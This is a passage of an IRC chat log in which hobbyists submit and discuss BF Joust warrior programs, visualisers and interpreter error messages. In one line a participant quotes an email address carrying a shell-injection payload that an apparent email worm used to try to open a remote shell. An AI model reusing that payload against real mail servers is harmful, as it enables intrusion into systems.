good as 1 wasn't distinct at all. 17:23:49 So instead I made all non-flag non-zero cells full blue. 17:23:54 you could have a jump near 0 17:24:05 Yeah, I considered that, but I'm lazy :) 17:24:18 What if you could make it show a longer line for different number? 17:24:46 Ohhh, that's brilliant 17:27:24 8-D 17:27:26 zzo38: Thanks 8-D 17:30:35 http://codu.org/eso/bfjoust/egojsout/anim/egojsout.html Enjoy 17:32:44 -!- asiekierka has joined. 17:43:46 animated egojsout seems to really lag firefox 17:44:00 upon loading the programs from the list 17:48:02 !bfjoust speedy3 >>>>>>>>(>[-[++[+.++.]]])*21 17:48:19 -!- pikhq_ has joined. 17:48:19 !bfjoust speedy3 >>>>>>>>(>[-[++[+.++]]])*21 17:48:21 whoops 17:48:35 -!- pikhq has quit (Ping timeout: 264 seconds). 17:50:00 Score for ais523_speedy3: 36.8 17:50:00 Score for ais523_speedy3: 36.8 17:50:06 not bad 17:54:12 woot, a bot :D 17:54:22 well, /me diappears, gaming 17:54:25 see you later 17:54:28 :D 17:54:30 -!- cal153 has joined. 17:54:31 -!- Grulf has quit (Quit: ChatZilla 0.9.86 [Firefox 3.6.13/20101203075014]). 17:54:33 -!- cal153 has quit (Remote host closed the connection). 17:54:44 -!- cheater00 has quit (Ping timeout: 240 seconds). 17:55:50 -!- cheater00 has joined. 17:57:51 -!- asiekierka has quit (Ping timeout: 241 seconds). 18:01:12 -!- cal153 has joined. 18:07:26 !bfjoust let_sleeping_tripwires_lie >>>>>>>>(>[-[++[(>[-])*20]-(>[-[++[(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]-(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]+(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19])*20]+(>[-[++[(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]-(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19]+(>[-[++[([-]>)*18]-(>[-])*18]+(>[-])*18])*19])*20])*21 18:08:06 Score for ais523_let_sleeping_tripwires_lie: 15.4 18:08:13 take /that/, space_elevator 18:09:00 (pity it doesn't really beat anything else, but the general idea counters the whole strategy moderately well; I haven't taken it through to its logical conclusion as the line would become far too long) 18:12:05 -!- elliott has joined. 18:12:09 hi elliott 18:12:16 wow, fast 18:12:24 Gregor hasn't written egojoust2 while I was gone? :) 18:12:31 I was waiting for firefox to unfreeze 18:12:40 he wrote egojsout 2 instead, well an animated version 18:12:45 which is less useful, but prettier 18:12:54 hmm, is the old version still available? 18:13:39 I see no animation 18:13:44 and i hard refreshed 18:13:56 gregor: i was considering making a colored animation like that 18:14:06 02:08:05 01:42:57 (wins-losses)/number of characters in source 18:14:06 02:08:09 • elliott quit (Remote host closed the connection) (~elliott@unaffiliated/elliott) 18:14:06 02:08:20 wtf 18:14:06 02:08:25 that kid... 18:14:07 the old version's still at its old URL 18:14:08 argh it got cut off 18:14:15 quintopia: it ended with patashu saying that it would be the end of defend* programs 18:14:15 http://codu.org/eso/bfjoust/egojsout/anim/egojsout.html is the new one 18:14:19 and i commented that, 18:14:26 quintopia: space_elevator would get 0.0000000000001 with that metric :) 18:14:37 evidently my client disconnected before i finished pasting and talking :( 18:14:47 gregor: the color scheme i decided would work best is balck for zero, and for all other values, the color wheel as it would look if zero were read 18:14:51 *red 18:14:53 ais523: wow, that is pretty 18:14:56 although the colours suck 18:15:11 I pasted a program that beat space_elevator reasonably convincingly just before you joined 18:15:13 but loses to most other things 18:15:18 ais523: submit it to the hill 18:15:23 (it wasn't specific targeting, but rather strategy countering) 18:15:28 I did, it didn't do well 18:15:44 I would call this egojsout anim, not egojsout 2 :P 18:15:51 well, perhaps 18:16:00 Gregor: and therefore flags start out green like in egojsout, assuming you use the subtractive color wheel 18:16:00 it's rather useless, just pretty 18:16:08 quintopia: what are you talking about 18:16:45 ais523: what do you think of interior_crocodile_alligator? it has multiple syntax errors :) 18:16:50 but beats defend13, defend14, space_elevator... 18:16:55 I haven't looked at it yet 18:17:00 (>)*9([-[++[(-)*128([-{([+{[-]}])%64}])%64]]]>)*20[-[++[(-)*128([-{([+{[-]}])%64}])%64]]] 18:17:11 is it simply designed to beat big complex programs? (and does it beat definder2?) 18:17:17 IIRC yep, it does 18:17:22 ais523: it's defined to beat space_elevator 18:17:27 ais523: after quintopia started beating anti_space_elevator 18:17:35 ais523: turns out it's not a terrible program, but it only has like 30 score 18:17:35 let_sleeping_tripwires_lie works by detecting probable reverse tripwires and putting them back again once it's passed them 18:17:39 because it does badly on most programs 18:17:52 and that reminds me a bit of cheese and the programs along those lines 18:17:59 which reverse direction after a while to utterly confuse defenders 18:18:12 ais523: yeah, that's the main thing it does, confuse 18:18:21 everything eventually decides it's running at a certain speed 18:18:25 and then it switches 18:18:28 counterdefence is relatively easy to write 18:18:36 ais523: space_elevator isn't defence 18:18:39 it's hybrid 18:18:53 indeed 18:19:00 usually counter-defence loses against it because it's too slow 18:19:01 it goes into defence mode if the tripwires near its flag are disturbed 18:19:22 in fact, I thought of writing a fast counter-defender just now, let me try it 18:19:38 !bfjoust fast_rush_slow_clear >>>>>>>>(>[+++++[-.]])*21 18:19:47 "9 BAJILLION POINTS 18:19:50 Score for ais523_fast_rush_slow_clear: 31.9 18:19:52 Pos ID Score Points Program 18:19:52 1 44 65.72 29.81 quintopia_space_elevator.bfjoust 18:19:55 wow, that's insanely good 18:20:17 FRSC doesn't seem too bad on the current hill, actually 18:20:18 30 25 29.62 -11.88 elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo.bfjoust 18:20:18 31 24 29.47 -5.74 elliott_interior_crocodile_alligator.bfjoust 18:20:18 How did my stupid joke variation on crocodile go above it with many less points... 18:20:25 *POINTS" 18:20:43 !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo < 18:20:58 ais523: is defend12 new? 18:21:02 Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 0.0 18:21:02 I haven't seen it before 18:21:05 nah, it's been around for ages 18:21:11 it's defend13 minus the counterdefence 18:21:19 i.e. defend12 : defend13 :: definder : definder2 18:21:21 !bfjoust penile_wiggling_2_electric_penile_wiggling_boogaloo (>)*9(([(-)*64.[(+)*65.{[-.]}]])%5>)*20(-)*128 18:21:25 (it made ICA's score drop) 18:21:26 Score for elliott_penile_wiggling_2_electric_penile_wiggling_boogaloo: 26.9 18:21:28 (removing it) 18:21:34 argh 18:21:38 the rankings aren't the same after adding it 18:21:45 that's ridiculous 18:21:52 the hill is broken 18:22:22 no 18:22:27 the hill probably isn't the same after removing and readding it 18:22:32 ^ 18:22:32 because one of my programs got culled in between 18:22:36 oh, right 18:22:37 heh, FRSC beats space_elevator on all combos but length 30 18:22:50 ais523: that's usually because of an off-by-one 18:22:58 hmm, but not in your case seemingly 18:23:05 i redid the special case for that length 18:23:07 it isn't, it's to do with tripwire count versus offset clear 18:23:14 to be as efficient as possiblr 18:23:28 As efficient as possiblr! 18:23:29 ah no 18:23:35 you always attack on length 30 18:23:49 on the basis that it's obviously the actual flag if you reach that point and don't die 18:23:54 so I can't trick you into defending 18:23:59 you can 18:24:04 just put a small decoy 18:24:05 without setting a decoy 18:24:07 !bfjoust fast_rush_slow_clear >+>>>>>>>(>[+++++[-.]])*21 18:24:12 yep, I had that change planned already 18:24:12 Score for ais523_fast_rush_slow_clear: 31.3 18:24:34 ais523: watching interior_crocodile_alligator in egojsout anim is fun 18:24:38 the decoy actually makes it worse, though 18:24:42 !bfjoust fast_rush_slow_clear >>>>>>>>(>[+++++[-.]])*21 18:24:45 you can see how it just clears cells in the craziest way possible 18:24:46 at least versus space_station 18:24:46 interest 18:24:49 because then it loses on short tapes 18:25:16 Score for ais523_fast_rush_slow_clear: 30.7 18:25:18 space_station? 18:25:24 makes it better overall, though 18:25:28 space_station? 18:25:30 elliott: or whatever quintopia's uberprogram is called 18:25:35 space_elevator 18:25:36 ah, space_elevator 18:25:39 dibs on _station though 18:25:47 haha 18:26:00 heh, wtf @ poke v s. ICA 18:26:01 *vs. 18:27:08 ais523: tell Gregor about my color scheme idea for the animation when he comes around 18:27:19 quintopia: he won't listen to reason on colors 18:27:23 what ais523 said :D 18:27:33 ais523: I was thinking about generating a mega-program myself, but it'd be very complicated 18:27:50 he already said he didn't like 1 being indistinct and my solution fixes that! 18:28:08 interior_crocodile_alligator can be improved massively by making it approximately 2^256 times as long 18:28:18 02:22:16 but isn't it the "let's only reward them and never punish them!" mentality that keeps it from being fixed-point iterable? 18:28:19 THE SAD STATE OF MODERN PARENTING 18:28:26 ais523: be my guest, you can use ()% to do exponential programs 18:28:30 although on egojoust that would be dumb 18:28:35 also, they have to be of a certain structure I think 18:28:40 ais523: what would the massive improvement be? 18:28:54 02:25:53 i have good news though! the canonical shudder program has been pushed off the board tonight! 18:28:55 which 18:28:56 wiggle3? 18:29:16 nah, wiggle3's still there 18:29:18 but it isn't a shudder program 18:29:22 just a varying-attack program 18:29:23 BUT IT SOUNDS LIKE ONE 18:29:53 ais523: is it worth it? saccharin_philip's strategy is pretty much unbeatable by space_elevator at offset sizes large enough to be useful 18:30:04 interior_crocodile_alligator can be improved massively by making it approximately 2^256 times as long 18:30:04 how? 18:30:18 roconnor: hey, where did you come from :) 18:30:22 did augur mention us again in #haskell? 18:30:23 elliott: by avoiding the ]]]]]]] chains by instead duplicating the whole of the rest of the program just before them 18:30:35 ais523: the ]]]]] chains are part of its power 18:30:42 ais523: it means it waits for an unpredictable length of time before moving on 18:30:54 hmm... 18:31:43 03:38:40 • Error: Connection reset by peer 18:31:44 03:38:40 • Stopped logging. 18:31:44 03:38:40 • Waiting 5 seconds... 18:31:44 03:38:45 • Started logging. 18:31:44 03:38:50 • Herobrine joined (~Herobrine@208.78.103.223) 18:31:49 good to know Herobrine's error recovery works 18:31:57 Herobrine isn't actually here 18:32:05 oh dear! 18:32:12 I wonder why 18:32:28 elliott: you're sounding like you removed it deliberately, now 18:32:34 ais523: no, i really didn't 18:32:36 elliott: it's copumpkin's fault 18:32:47 roconnor: we haven't got around to banning him yet. all in good time 18:32:58 better do it quick 18:33:20 roconnor: uh oh, what happened, did he invite #ubuntu? 18:33:36 he might 18:33:40 better to be safe 18:33:50 I don't see anything wrong with newbies joining... 18:34:01 although elliott has a rather low tolerance for people he or she dislikes 18:34:09 "he or she" 18:34:15 I love your obsession with gender-neutral pronouns 18:34:18 -!- Sgeo has joined. 18:34:21 also, it's not that they're newbies 18:34:28 it's just that copumpkin is a very suspicious man. 18:37:24 elliott: you did once insist upon female pronouns. can we just use "ey" for you? 18:37:30 psht! 18:37:39 it's all part of my scheming plot 18:37:48 to make everyone using the english language so confused 18:37:51 that they all forget how to speak 18:37:54 and then i'll ??? 18:38:03 could have sworn is was your plotting scheme 18:38:12 (this is based on an assumption that i talk to everyone who knows the english language, which is a true assumption and a fact) 18:38:24 oh, no. that's a lisplike with graphing capabilities innit? 18:39:00 HURF DURF 18:39:06 ais523: quick, talk about bf joust 18:39:09 we don't need pun threads in here 18:39:32 elliott: without oerjan around? 18:39:39 those aren't threads, those are one-offs 18:41:59 Do you expect PCL is used more commonly than DVI? 18:42:37 ...yes, zzo38, but of course. 18:44:39 o.O at the existence of a VirtualBox 4 18:45:20 ais523: can i tell you my planned strategy for you to rip off? It would basically require code generation to do. 18:45:23 but i think it would be effective. 18:45:31 also it's not a cohesive strategy, just a bunch of ideas. 18:45:35 you can tell me, it doesn't mean if I'll actually rip it off 18:45:44 ais523: but i need someone to carry on the legacy :) 18:45:49 umm, I don't think that last sentence was coherent, but you probably know what I mean anyway 18:46:06 I didn't even see the if 18:46:23 ais523: anyway, one idea is this 18:46:46 Heh, someone just tried to send email to "root+:|exec /bin/sh 0/ 1>&0 2>&0@zem.fi" (sanitized the numbers out). 18:46:50 Email worms, how quaint. 18:47:03 ais523: translate a tripwire program "a[]b" into "a[[[[[[[[(lots of [s)(same amount of b]s)", where b is the rest of the program 18:47:10 ais523: this is, I think, the most efficient time-limited tripwire you can do 18:47:15 but causes insane explosion of code 18:47:41 you don't need massive efficiency in that anyway 18:47:49 reverse tripwires make a much neater time-limited tripwire 18:48:12 ais523: it was part of a greater strategy 18:48:15 fizzie: presumably some email server actually executes that by mistake? 18:48:20 i.e., you'd have a huge program with that as one of the strategies 18:49:35 Well, presumably; I doubt they'd bother sending that in the hopes the recipient is going to run it. (Though I guess it might be borderline possible, if unlikely, that it's actually targeting an email client problem instead.) 18:49:48 elliott: i considered doing that as a way of calculating the exact size of an offset used by an offset clearer (with different values computed for whether it is 2 or 3 cycle clear) 18:50:12 fizzie: very unlikely, nobody uses linux on the desktop 18:50:16 :P 18:50:19 quintopia: That gives no distinct colors for the flag or players. 18:50:40 Gregor: Plz2be make the players different colours, and show the player colour as the bottom square of whatever cell they're on. 18:50:45 Also, flip it vertically X-P 18:51:11 Gregor: my method was to put the players on tracks parallel to the tape, and let the values on the tape be just their value all the time 18:51:34 quintopia: Idonno, I'm kinda groovin' on zzo38's height method. 18:51:49 height, eh? 18:51:55 that sounds cool too 18:52:05 quintopia: ... you haven't actually seen the current state? :P 18:52:20 so a bar graph that can go either above or below? 18:52:22 no 18:53:10 quintopia: Idonno, I'm kinda groovin' on zzo38's height method. 18:53:10 wut? 18:54:18 -!- Sgeo has quit (Ping timeout: 240 seconds). 18:54:44 Gregor: make it so it ranges -127 to 128, and make it so we can see which player is which 18:58:00 ais523: Speaking of which, I fixed one cranklance bug, and now the clusters rearranged themselves into http://zem.fi/~fis/clust5.png which at least has a nice impomatic group in there. 18:58:19 fizzie: Can I organise a hostile takeover of Cranklance Software? 18:59:06 I'll put the crank-code somewhere after you perfect lance; so that I have a non-javascript reference implementation to test against. :p 18:59:22 fizzie: I mean to integrate the compiler into lance itself :P 18:59:57 Crank's not a compiler, though; it's just a boring thing. You could integrate chainlance, but it seems to be more of a pessimization for any real programs. 19:00:07 fizzie: In't that the threaded code thing? 19:00:13 Close enough to a compiler for Forthers; close enough for me. 19:00:24 Well, in that sense, yes. 19:00:45 fizzie: It's a pissimizatoriness because of your crazy () semantics, I think :P 19:01:03 Nah, my test cases didn't have any (foo{bar}baz)'s in them. 19:02:35 -!- ais523_ has joined. 19:02:51 -!- ais523 has quit (Ping timeout: 240 seconds). 19:02:59 -!- ais523_ has changed nick to ais523. 19:03:03 Also crank now does the more standard "count in different directions thing" I lifted from egojsout, and not the "invert counters on each {}-middle-skipping [..]-jump. But there's at least one more bug in there somewhere; my simple-enough-to-read-the-trace test cases do work, but some of the more complicated things go awry after a thousand cycles or so. 19:04:05 we need a BF Joust conformance test suite and performance benchmark 19:04:12 wow 19:04:35 :D 19:04:40 ais523: quick, link me to an article to dismiss IPv6 privacy complaints 19:04:55 I don't have one on-hand 19:05:05 i just found a major bug in space_elevator. somehow it's going from rush mode *back* to defend mode for tape length 30 against saccharin_philip 19:05:12 quintopia: :D 19:05:30 ais523: ok, well link me to a therapist, because i have this urge to generate BF Joust programs with Mathematica 19:05:43 and there's no way /that's/ the thought of a sane man 19:05:47 no, it isn't 19:06:31 http://codu.org/eso/bfjoust/egojsout/anim/ OK, try this on for size 19:06:53 Ohwait, not yet :P 19:07:01 fizzie: i think your clustering is dead on in terms of putting similar strategy types together 19:07:04 Gregor: you haven't flipped it vertically yet :P 19:07:05 Haven't pushed yet :P 19:07:26 I wish xfwm was less buggy 19:07:33 "Nemerle, Factor, Alice ML, and other programming languages are being deleted from Wikipedia. Please help." --/r/programming 19:07:35 two thoughts 19:07:42 Now try it 19:07:44 (1) Nemerle, Factor, Alice ML ... holy shit, it's Sgeo! 19:07:56 (2) Nemerle is horrible and should probably stay deleted 19:08:00 (3) How selfish of me 19:08:05 (4) Hey, off-by-ones! 19:08:07 (5) Hey, off-by-twos! 19:08:17 (6) i'm trapped in a self-referential list of off-by-ones help 19:08:39 just say (7) off by fives and be done 19:09:13 "I learned about Nemerle from Wikipedia, along with a slew of other not-widely-used languages. I've always really liked the comprehensiveness of its PL list. I agree that utterly useless stuff is worth deleting, but I'm having trouble understanding how Monsanto thinks he's improving the quality of wikipedia by doing this in any way commensurate with the effort he's spending." 19:09:18 Theory -- things called Monsanto are inherently evil. 19:09:32 Seriously though, lol deletionists. 19:10:07 "Dear internet, 19:10:07 You guys win. I will stop nominating pages for deletion. 19:10:08 I wasn't doing this to troll or to slam any language community. I was just trying to help -- I read the WP guidelines for inclusion, and whenever I came across a language that didn't seem to meet said criteria, I nominated it for AfD. I think, with respect to Wikipedia's established notability guidelines, my arguments for deletion were airtight, which is probably why the articles were eventually deleted. I'm not sure my actions warranted the kind 19:10:08 of internet-hatred I received as a result. If anyone thought what I was doing was wrong, they could have just sent me a friendly message and I would have politely discussed the issue. Few took this route, and I am sorry that due to time constraints and an overwhelming amount of invective I could not reply sensibly to everyone. 19:10:11 Since the internet seems to care more about keeping these articles than I care about deleting them, I'll stop. I personally think a lot of the articles should have been deleted. I think that ALL articles I nominated for deletion fail to meet Wikipedia's general notability guideline. Here's a challenge, then, for the internet: instead of spamming my Wikipedia talk page (which I don't really care about), why don't you work on fixing WP's notability 19:10:16 guideline for programming languages? Otherwise, some other naive editor will eventually try to delete them. Perhaps they won't have as much experience dealing with trolls and flamebait as I have had, and will become very hurt and confused. Nobody wants that :(" 19:10:20 as far as I can tell, this can be reduced to three sentences. 19:10:34 "Hey Internet, stop being jerks. I can't use my own brain, I just follow the policy. But actually, I really agree with it, fuck you. :) 19:10:36 *:)" 19:10:41 *policy; change it! 19:10:51 quintopia: space_elevator is a thing of beauty. 19:11:30 I think "flag repair" needs to be mentioned in the strategy list. 19:12:25 Gregor: graphical glitch 19:12:30 try julias freezer vs. mapping turtle on right 19:12:32 in chrome 19:12:40 note how a trail of white underscores and... overscores is left 19:13:04 Gregor: May I suggest adding a scrubber to go over the match at your own pace? :P 19:13:33 elliott: You're a dumbass :P 19:13:39 Gregor: Why? 19:13:41 elliott: That trail is the TRAIL STRATEGY 19:13:47 mapping_turtle leaves a trail :P 19:13:48 Gregor: ...no, you're the dumbass. 19:13:51 Gregor: I mean after that. 19:13:59 There's ones just like it, in the same pattern, but only one pixel high. 19:14:09 Yes, one pixel = value 1. 19:14:13 Gregor: saccharin_philip is also a thing of beauty 19:14:34 Gregor: Oh. 19:14:37 Gregor: It's ugly 19:14:42 Gregor: Make two pixels = one value :P 19:14:46 elliott: I refuse. 19:14:54 Gregor: moar french! 19:14:57 Oh well, hooray for lanceanim! 19:15:07 elliott: je refuse!!!!!!!!!!! 19:15:10 Gonna add a scrubber? :P 19:15:17 elliott: I have no idea what you mean by that. 19:15:22 UR A DUMBASS 19:15:30 elliott: And I'd love to have an offline animator, we could post animations on the strategies page :) 19:15:50 Gregor: he means a slideybar to select different moments in the match, like at the bottom of youtube videos 19:15:53 Gregor: A scrubber is a selection bar that lets you set the argument to a continuous function over time. 19:15:57 Gregor: i.e. a seek bar for a movie. 19:16:05 In this case, it'd just round your selection to an integer, and choose that cycle. 19:16:15 Ahhhh. That's not easy for this since I don't actually save frames, I'm rendering them on the fly. 19:16:18 So you could drag it slowly to see what happens in a fast bit, or advance it manually. 19:16:21 Gregor: X-D 19:16:22 in this case, elliott would take a lot of words to repeat what i said 19:16:31 quintopia: I was being a pedantic fucker. 19:16:36 Gregor deserves it. 19:16:38 This is not a video player, it's a BFJ interpreter. 19:16:48 Gregor: Yes, but it'd be actually useful if it had a scrubber. 19:16:56 Because you could see things visually but still analyse it at a proper pace :P 19:17:17 Gregor: i once wrote a game where programs fought over a network, and it was able to save an entire history of the match on the fly so you could rewind and seek at will. it's really not that hard. 19:17:35 It is when your program is small and entirely based around that principle. 19:17:37 Hard is relative. 19:17:40 In this case, hard = almost complete rewrite. 19:17:44 (Of small program) 19:17:49 no 19:17:58 the history thing we patched in at the very end 19:18:15 The program is small enough that it would be almost a complete rewrite. 19:18:17 (I assume) 19:18:26 (if it isn't then Gregor pha1lz) 19:18:47 i bet he could stick in the part that saves the current frame in a couple of lines, and just add one or two more functions for scrubbing 19:19:36 quintopia: "Patches welcome" 19:19:59 elliott: tell me how to make a slidey bar in js and i'll do 19:20:03 ...eventually 19:20:13 There's a tag for it in HTML 5. 19:20:26 quintopia: http://webhole.net/2010/04/24/html-5-slider-input-tutorial/ 19:20:27 Good enough :P 19:20:53 You might want to use the step stuff to keep the selection discrete, but OTOH dragging it would be smoother if you made it continuous and just floor()'d in the JS side. 19:21:47 mm 19:22:43 Yeah, I could just save 30 ints per frame, and then render from that. 19:23:08 I just don't want to deal with the actual "scrubber" (wtf is a scrubber guys, seriously, no using random obscure words when you mean "seek bar") 19:23:37 oh lol, my comments have - in them now XD 19:24:07 scrubbing is an A/V term for selecting individual frames in a movie 19:24:19 it's not that obscure 19:24:34 I just don't want to deal with the actual "scrubber" (wtf is a scrubber guys, seriously, no using random obscure words when you mean "seek bar") 19:24:44 Gregor: I could list EVERY PIECE OF PROGRAMMING JARGON EVER right now. 19:24:45 But I won't. 19:24:56 This is a CS channel, not an AV channel. 19:25:04 Meanwhile, Urban Dictionary: 19:25:06 "a scrubber is a female tramp who would satisfy a male's needs without a second thought" 19:25:12 We should know programmer jargon. 19:25:12 Expecting us to know A/V jargon is unreasonable. 19:25:24 It's hardly A/V jargon :P 19:25:48 It is quite clearly A/V jargon, since nobody else would know wtf it is. 19:26:12 I'm not an A/V person and I do. 19:26:23 I'm not an A/V person either, and I don't 19:26:32 19:26:41 you do now 19:28:10 http://irregularwebcomic.net/2940.html :D 19:31:49 -!- ais523_ has joined. 19:31:54 -!- ais523 has quit (Ping timeout: 260 seconds). 19:32:04 -!- ais523_ has changed nick to ais523. 19:32:12 -!- augur has quit (Remote host closed the connection). 19:36:46 -!- augur has joined. 19:37:11 elliott: no 19:41:31 -!- ais523 has quit (Remote host closed the connection). 19:41:56 -!- ais523 has joined. 19:43:44 -!- Slereah has quit (Ping timeout: 255 seconds). 19:43:48 -!- nik340 has joined. 19:43:52 -!- nik340 has left (?). 19:46:27 -!- cheater- has joined. 19:46:40 -!- cheater00 has quit (Ping timeout: 240 seconds). 19:48:30 -!- Slereah has joined. 19:53:58 aight bugfix time! 19:54:06 !bfjoust space_elevator http://sprunge.us/hMia 19:55:21 spelevator 19:55:32 i need to make a decent program so i can call it chevrolet_movie_theater 19:55:45 why 19:55:50 what do you mean why 19:56:09 maybe this will lessen your confusion: http://www.youtube.com/watch?v=kZwhNFOn4ik 19:58:48 Score for quintopia_space_elevator: 62.4 19:59:08 well that's odd XD 19:59:14 ? 19:59:34 i fixed teh bugs and my score went down... 19:59:39 INTEREST 20:02:33 but it's more *pure* now so i'm gonna leave it. also, it now beats saccharin_philip which was MY MAIN GOAL HERE 20:03:05 (the reason it was losing to saccharin_philip was a major off-by-one error) 20:05:14 Yay, pendolino is up to pos 3 again 20:05:24 quintopia: BEAT IT 20:06:33 elliott: space_elevator already does beat it ... 20:06:38 quintopia: BEAT IT HARDER 20:06:41 i suppose i could modify poke to suck less too 20:07:15 -!- Sgeo_ has joined. 20:08:10 -!- SgeoN1 has joined. 20:08:39 -!- ais523 has quit (Remote host closed the connection). 20:08:55 -!- SgeoN1 has quit (Client Quit). 20:09:28 myndzi: careful has a buttload of parse errors. lrn2matchloops. 20:09:45 he's all 20:09:45 OH 20:09:48 they make the code uglier 20:09:49 and hard to understand 20:09:49 OH 20:09:53 :n00b: 20:09:57 ;;;;)) 20:09:59 > 20:11:28 -!- Sgeo_ has quit (Ping timeout: 240 seconds). 20:12:03 Gregor: interestingly, egojsout and egojoust disagree on whether space_elevator beats careful. might this have something to do with the way they handle parse errors? 20:12:21 Probably, does careful have parse errors? 20:12:27 yes, lots of them 20:12:39 egojoust doesn't really "get" parse errors, it always expands. 20:12:46 egojsout never expands, so parse errors turn into noops. 20:13:11 aha. so myndzi is purposefully exploiting parse errors for fun and profit! 20:13:20 elliott: lance won't allow that, right? 20:13:33 quintopia: indeed 20:13:39 quintopia: it insults you whenever you make a parse error and immediately exits 20:13:51 The error messages are: 20:13:53 DAMN RIGHT 20:13:56 Oi -- your nesting is too deep, birdbrains. 20:14:02 Oi -- your program has an unmatched X, and it's all your fault. 20:14:04 (for some X) 20:14:11 Oi -- your program has an unmatched X; you should feel bad. 20:14:17 Oi -- your program is too long. 20:14:28 Oi -- you have a {} without an enclosing () block. Why? Just... why? 20:14:28 Too long? 20:14:35 Deewiant: Over, like, a megabyte. 20:14:36 what is the maximum nesting depth and maximum length? 20:14:49 High enough that you'd overstep the cycle count by nesting deep enough. 20:15:02 Oi -- your program has an unmatched ). You're a scoundrel and a thief! 20:15:09 elliott: you should print the character number where the error was detected too, to help computer. 20:15:10 Oi -- your program has an unmatched X. You can't just bash random keys and expect it to work! 20:15:19 Oi -- you can't have )* after a () block containing {}s. Didn't they teach you anything in school? 20:15:33 Oi -- you can't have )%% after a () block not containing {}s. When I sleep, I dream of a world filled with people who don't make stupid syntax errors. 20:15:39 Oi -- you have a ) not followed by a * or a %%, probably because you're a bad person. 20:15:43 (That %% is a %) 20:15:44 elliott: HELP COMPUTER 20:15:50 Oi -- you have a * or a % not followed by an integer. Did your parents drop you on your head as a kid? 20:15:58 Oi -- your program has an unmatched X. ...I'm disappointed. 20:16:00 quintopia: SORRY NO 20:16:04 EVERYONE FIGURES OUT THEIR OWN PARSE ERRORS 20:16:10 D; 20:16:49 elliott: Do you pick an "unmatched X" error at random or what 20:17:01 Deewiant: Different situations :P 20:17:12 Deewiant: if (neststki == 0) { \ 20:17:12 fprintf(stderr, "%d : Oi -- your program has an unmatched %c, and it's all your fault.\n", n, opchrs[c]); \ 20:17:12 exit(255); \ 20:17:12 } \ 20:17:12 if (neststk[neststki-1]->op != (t)) { \ 20:17:12 elliott: does lance support the ``(print comment)*0 thing at least? 20:17:13 fprintf(stderr, "%d : Oi -- your program has an unmatched %c; you should feel bad.\n", n, opchrs[neststk[neststki-1]->op]); \ 20:17:17 exit(255); \ 20:17:19 } \ 20:17:21 i.e., ( -- all your fault 20:17:23 (x] -- you should feel bad 20:17:30 and also since I was lazy and duplicated the special-case code in ) 20:17:31 you get 20:17:37 Oi -- your program has an unmatched ). You're a scoundrel and a thief!\ 20:17:40 elliott: If you know the different situations, you could be more precise than "unmatched X" :-) 20:17:45 for "foo)" with no brakcets before 20:17:46 or 20:17:50 You can't just bash random keys and expect it to work! 20:17:52 for incorrect nesting 20:17:55 Deewiant: It doesn't say X. 20:18:02 It gets replaced with the relevant character. 20:18:07 elliott: That's not what I meant 20:18:24 Deewiant: egojoust has no error reporting, quit yer whinin' 20:18:29 elliott: I meant that you could say "you're closing an X with a Y", for that (x] for instance 20:18:39 how could you detect that? 20:18:44 quintopia: easy 20:18:47 And then you should print the code line and a nice caret 20:18:56 But I guess that's too hi-fi 20:18:57 Deewiant: And fix it for the user. 20:19:05 And tidy up their code. 20:19:09 And give them supper and tuck them in bed. 20:19:10 elliott: the comment debug thing. lance has it? 20:19:14 quintopia: eh? 20:19:25 15:41 < quintopia> elliott: does lance support the ``(print comment)*0 thing at least? 20:19:52 Um, no. That's an unportable egojsoust extension and using it in actual hill code is a sign of insanity. 20:20:00 well 20:20:01 I would need to embed javascript for instance. 20:20:03 you're printing errors 20:20:08 Also I think it's ``(foo) without the *0. 20:20:13 to the breakdown file, yes? 20:20:16 Gregor: Tell him that I'm not going to execute arbitrary javascript 20:20:17 quintopia: no, to the user 20:20:21 oh 20:20:23 nvm then 20:20:24 no matches are run if the program is invalid 20:20:44 I GUESS WE WILL HAVE TO USE EGOJSOUT FOR DEBUGGING THEN 20:20:56 I was actually considering changing ``() to just be a print command. 20:21:04 So ``(foo) -> print("foo") 20:21:17 That way it's at least portable, since I haven't really thought of any use for doing anything else anyway :) 20:21:48 quintopia: lance's actual debugger will let you set breakpoints and shit :P 20:22:05 But egojsout is awesome enough that it's like priority -1. 20:22:07 elliott: but will it print the character number where a parse error was detected? 20:22:16 Maybe if you donate money. 20:22:18 Lots of money. 20:22:36 man 20:22:48 the day when you need breakpoints to debug a bf joust warrior 20:22:53 >: ) 20:22:56 is the day it got TOO COMPLICATED FOR ME 20:22:59 -!- pikhq has joined. 20:23:05 It's like a print statement except less informative. Shut your whore mouth. 20:23:18 -!- pikhq_ has quit (Ping timeout: 276 seconds). 20:24:30 myndzi_careful.bfjoust vs quintopia_space_elevator.bfjoust: 20:24:31 <<>>>>>>>>>>>>>>>>>>> <<<<<<<<><<<<<<<<<<<< <<<<<<<<><<<<<<<<<<<< <<>>>>>>>>>>>>>>>>>>> 20:24:51 and in egojsout: 20:24:54 Left: 20:24:55 Unmatched loop. 20:24:55 Unmatched loop at 194. 20:24:55 Unmatched loop at 195. 20:24:55 Unmatched loop at 196. 20:24:57 Unmatched loop. 20:24:59 Unmatched loop. 20:25:02 Unmatched loop. 20:25:04 < < > > > > > > > < < < > > > > < > > > > 20:25:07 < < < < < < < < > < < < > > > > > > > > > 20:25:09 Right wins (8) 20:26:19 -!- Slereah has quit (Ping timeout: 240 seconds). 20:29:03 quintopia: unmatched loop = results are wrong don't bother 20:33:01 -!- Slereah has joined. 20:33:06 elliott: So where's lance, or do I have to write egojoust2 in like five minutes and then laugh. 20:33:06 I can't find any unmatched loops in careful 20:33:47 (]]])*21 20:33:50 elliott: you mean that egojsout detects them wrong or that you can't say anything one way or the other when it says that or what? 20:33:58 (]]])*21 <-- this is illegal you know 20:34:18 Gregor: Shaddap :P 20:34:30 quintopia: the latter 20:34:32 It's preceded by (a[b[c[)*21 20:34:40 Deewiant: Still illegal. 20:34:50 Deewiant: Illegal. 20:34:52 Illegal like arson. 20:34:54 oh 20:34:56 Deewiant: (a[b[c[ {...} ]]])%21 is the legal form 20:35:06 Illegal like Deewiant! 20:35:12 Deewiant: The form in careful is really difficult to do without expansion. 20:35:13 yeah, that's 